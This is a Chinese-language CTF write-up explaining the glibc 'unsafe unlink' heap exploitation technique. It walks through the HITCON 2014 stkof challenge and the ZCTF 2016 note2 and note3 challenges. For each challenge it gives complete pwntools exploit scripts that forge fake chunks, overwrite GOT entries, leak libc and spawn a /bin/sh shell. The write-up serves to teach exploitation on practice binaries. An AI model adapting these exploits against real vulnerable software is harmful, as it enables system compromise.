Unsafeunlink
unsafe unlink
介绍与原理
主要是内存布局好之后,通过 unlink 来修改指针
正常的 unlink 是当我们去 free 一个 chunk 的时候,如果这个 chunk 的前一个或后一个是 free 的状态,glibc 会把它从链表里面取出来,与现在要 free 的这个合并再放进去,取出来的这个过程就是 unlink
wiki 上面的一个示意图,Fd 是前置指针,Bk 是后置指针
ulink 有一个保护检查机制,他会检查这个 chunk 的前一个 chunk 的 bk 指针是不是指向这个 chunk(后一个也一样)我们需要绕过他的检查
https://www.yuque.com/hxfqg9/bin/ape5up#G0M19
2014 HITCON stkof
这个师傅注释很详细,帮了大忙,下面也是根据这个 exp 复现的
https://blog.csdn.net/weixin_42151611/article/details/97016767
完整 exp:
#coding:utf-8
from pwn import *
context(arch='amd64',os='linux')
#context.log_level = 'debug'
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def create(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')
def edit(index,size,content):
p.sendline('2')
p.sendline(str(index))
p.sendline(str(size))
p.send(content)
#之所以用send是因为如果sendline的话会多读入一个'\n'
#导致size和content的长度不匹配,导致错误
p.recvuntil('OK\n')
def delete(index):
p.sendline('3')
p.sendline(str(index))
head = 0x602140
create(0x10)#第一块
create(0x30) #第二块
create(0x80) #第三块
payload = p64(0)+p64(0x20)+p64(head+16-0x18)+p64(head+16-0x10)+p64(0x20)
payload = payload.ljust(0x30,'a')
payload += p64(0x30)+p64(0x90)
edit(2,len(payload),payload)
gdb.attach(p)
pause()
delete(3)
p.recvuntil('OK\n')
free_got = elf.got['free']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']
payload = p64(0)+p64(free_got)+p64(puts_got)+p64(atoi_got)
edit(2,len(payload),payload)
payload = p64(puts_plt)
edit(0,len(payload),payload)
delete(1)
leak = p.recvuntil('\nOK\n')[:6]
puts_addr = u64(leak.ljust(8,'\x00'))
log.success('puts addr: '+hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
sys_addr = libc_base + libc.symbols['system']
log.success('sys_addr: '+hex(sys_addr))
payload = p64(sys_addr)
edit(2,len(payload),payload)
payload = '/bin/sh\x00'
p.sendline(payload)
p.interactive()
运行连个菜单都不给...
把名字改一下
create 功能,输入一个 size,然后申请 size 大小的堆块
会把申请的堆块的地址写到这里(并不是,是 s[1],因为先 ++ 了)
edit 功能,编辑已经创建好的堆块,但是没有对长度进行检查,所以存在堆溢出
~~wp 说没有 setbuf,会先申请 1024 的堆空间??~~
~~要先提前申请个 chunk 来防止他们干扰??~~
~~怎么就能防止干扰了??~~
其实只要先申请一个,让程序把两个缓冲区分配好了,别后面插在我们申请的两个之间就可以吧
黄色指的是提前申请的一个用来占空的
两个白色是缓冲区占用的,这样后面再申请就连起来了
这时候来改写第 2 个(从 1 开始计数)伪造一个 free 的 chunk(黄线分割了第 2 和第 3 个)
payload 如下:
payload = p64(0)+p64(0x20)+p64(head+16-0x18)+p64(head+16-0x10)+p64(0x20)
payload = payload.ljust(0x30,'a')
payload += p64(0x30)+p64(0x90)
这样填充完了就是这样的,在原本第 2 个 chunk 里面伪造了一个 free 的 chunk,大小是 0x20,然后把 fd 跟 bk 指针写为了 p64(head+16-0x18) 和 p64(head+16-0x10)。同时把下一个堆块的 prev_size 位写成了 0x30(前一个 chunk 加上开头的大小),以及 size 位的 prev_inuse 为 0
这样,对第 3 个进行 free 的时候会发生 unlink,head + 16 与 head +16 -0x18
那么最终的效果就是我们编辑第二个的时候就是编辑的 head + 16 - 0x18,也就是 0x602138
那么
payload = p64(0)+p64(free_got)+p64(puts_got)+p64(atoi_got)
edit(2,len(payload),payload)
因为此时的第二块指的是head-8,所以首先要填充8位,然后修改 s[0]=free_got,s[1]=puts_got,s[2]=atoi_got
修改完之后(虽然程序用的是 s[1] 开始记录指针的,但是 0 也是能用的啊)
这时候去修改第 0 个,修改的就是 0x602018 也就是 free 的 got 表项,改成 puts_plt,之后再调用 free 函数的时候就会调用 puts 了
payload = p64(puts_plt)
edit(0,len(payload),payload)
那么 free(1) 的话就相当于 puts 了 puts 的 got 也就得到了 puts 函数的真实地址,从而可以用来计算 libc
算出 libc 的基址就能得到 system 函数的地址,然后通过编辑第 2 个再把 atoi 改成 system 的地址
payload = p64(sys_addr)
edit(2,len(payload),payload)
因为输入的时候就是往 atoi 中输入的,所以直接 sendline("/bin/sh") 就可以达到 system("/bin/sh") 的效果
2016 ZCTF note2
exp
# coding=UTF-8
from pwn import *
context.log_level = 'debug'
p = process('./note2')
note2 = ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
def create(length, content):
p.recvuntil('option--->>')
p.sendline('1')
p.recvuntil('(less than 128)')
p.sendline(str(length))
p.recvuntil('content:')
p.sendline(content)
def show(id):
p.recvuntil('option--->>')
p.sendline('2')
p.recvuntil('note:')
p.sendline(str(id))
def edit(id, choice, s):
p.recvuntil('option--->>')
p.sendline('3')
p.recvuntil('note:')
p.sendline(str(id))
p.recvuntil('2.append]')
p.sendline(str(choice))
p.sendline(s)
def delete(id):
p.recvuntil('option--->>')
p.sendline('4')
p.recvuntil('note:')
p.sendline(str(id))
p.sendlineafter('name:','yichen')
p.sendlineafter('address:','yichen')
ptr=0x602120
payload='a'*8+p64(0x61)+p64(ptr-0x18)+p64(ptr-0x10)+'a'*64+p64(0x60)
create(0x80,payload)
create(0,'a'*16)
create(0x80,'a'*16)
delete(1)
content='a'*16+p64(0xa0)+p64(0x90)
create(0,content)
delete(2)
atoi_got = note2.got['atoi']
content = 'a' * 0x18 + p64(atoi_got)
edit(0, 1, content)
show(0)
atoi_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
atoi_offest = libc.symbols['atoi']
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols['system']
system_addr = libcbase + system_offest
content = p64(system_addr)
edit(0, 1, content)
p.recvuntil('option--->>')
p.sendline('/bin/sh')
p.interactive()
程序功能如下
申请的内容会放到 &ptr+dword_602160 这里,总共只能申请 3 个
首先,申请的时候有一个 0x0 的,但是要有个 chunk 头和记录 fd、bk 的地方,所以实际分配的是 0x20
第 0 个写入的内容中构造了一个 fake chunk,大小是 0x50,它的 fd、bk 是 ptr - 0x18 和 ptr - 0x10
但是下一个的 chunk 的 prev_size 我们没法改变,那么之前申请的那个 0x0 的第 1 个就派上用场了,首先把申请的第 1 个给释放掉,因为是 fastbin 所以我们再次申请 0x0 大小的时候还是会申请到这个地方,而同时,因为 i 是一个无符号型的,我们输入的 0-1 就会变成一个很大的数,所以我们可以写很多的内容,从而覆盖掉后一个 chunk 给他改写掉
其中 i 是 unsigned 类型,a2 为 int 类型,所以两者在 for 循环相比较的时候,a2-1 的结果 - 1 会被视为 unsigned 类型,此时,即最大的整数。所以说可以读取任意长度的数据,这里也就是后面我们溢出所使用的办法。
这里我想在开始就改写,但是不行,原因大概是一开始下面的那个 chunk 没有申请,溢出的那块地址没法写入?
所以先把第 1 个释放掉,在申请回来
delete(1)
content='a'*16+p64(0xa0)+p64(0x90)
create(0,content)
之后再去释放第 2 个,就会把第 0 个构造的 fake chunk 给 unlink
unlink 之后的结果就是 ptr = ptr-0x18
现在修改第 0 个就是修改的 ptr-0x18,所以我们先写上 0x18 个 a 占空,然后写上 atoi 的 got 表项,这样使用 show 功能的时候就会 show atoi 的 got 表项的内容
atoi_got = note2.got['atoi']
content = 'a' * 0x18 + p64(atoi_got)
editnote(0, 1, content)
然后根据得到的 atoi 的地址来算出 system 的地址
因为此时 ptr 指向的是 atoi 的 got 表项,所以我们直接编辑第 0 个就可以把 atoi 的 got 表项改成 system 的地址
至于为啥是 atoi他接收 option 输入的时候用的是 atoi 函数
2016 ZCTF note3
show 功能没了
申请的 malloc 的地址会存在 ptr=0x6020C8
再编辑的时候如果大小是 0 的话,照样会变成一个很大的数字,所以存在堆溢出
一开始申请三个 chunk(index 从 0 开始),第一个里面直接构造一个 fake chunk
然后先把第 1 个 delete,然后在申请回来就能通过负数来获得一个很大的 size
把第 2 个给改掉,这样当 delete 的时候就能进行 unlink,这样 ptr 就等于 ptr-0x18 了
然后就能通过写第 0 个来改变 ptr-0x18 处的内容
payload3 = 'a'*0x18 + p64(free_got) + p64(puts_got)
edit(0,payload3)
edit(0,p64(puts_plt)[:-1])
delete(1)
注意这里的 [:-1] 由于 p64 总共 8 个字节,如果不加上 [:-1] 会由于 sendline 最后的 \n 覆盖掉与它紧邻位置的数据。而为什么能使用 [:-1]? 可以输出 hex(p64(puts_plt)) 试一下,会发现它是 0x0000xxxxxxxxxx 的形式,前面会有至少 2 个 00,再加上小端序的问题,我们就相当于丢掉了开头的 2 个 00,这样并不会产生太大影响,最主要的是我们保护了与它紧邻的数据。
http://liul14n.top/2020/02/06/Unlink-ZCTF-2016-note3/
这样就能泄露出 puts 的真实地址,然后计算出 system 的地址,这时候再去申请一个,会发现他是第 1 个
那么把 free 的 got 表项改成 system,就能执行 system("/bin/sh")
from pwn import *
p=process('./note3')
elf=ELF('./note3')
libc=ELF('./libc.so.6')
def cmd(choice):
p.sendlineafter('option--->>\n',str(choice))
def create(size,content):
cmd(1)
p.sendlineafter('1024)\n',str(size))
p.sendlineafter('content:\n',content)
def edit(index,content):
cmd(3)
p.sendlineafter('note:\n',str(index))
p.sendlineafter('content:\n',content)
def delete(index):
cmd(4)
p.sendlineafter('note:\n',str(index))
ptr=0x6020C8
fake_chunk='a'*8+p64(0xa1)+p64(ptr-0x18)+p64(ptr-0x10)
create(0x80,fake_chunk)
create(0,'123')
create(0x80,'writeup')
delete(1)
payload='a'*0x10 + p64(0xa0) + p64(0x90)
create(0,payload)
delete(2)
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
free_got = elf.got["free"]
system = libc.symbols['system']
puts = libc.symbols['puts']
payload3 = 'a'*0x18 + p64(free_got) + p64(puts_got)
edit(0,payload3)
edit(0,p64(puts_plt)[:-1])
delete(1)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
create(0x20,'/bin/sh\00')
libcbase = puts_addr - puts
system_addr = libcbase + system
edit(0,p64(system_addr)[:-1])
delete(1)
p.interactive()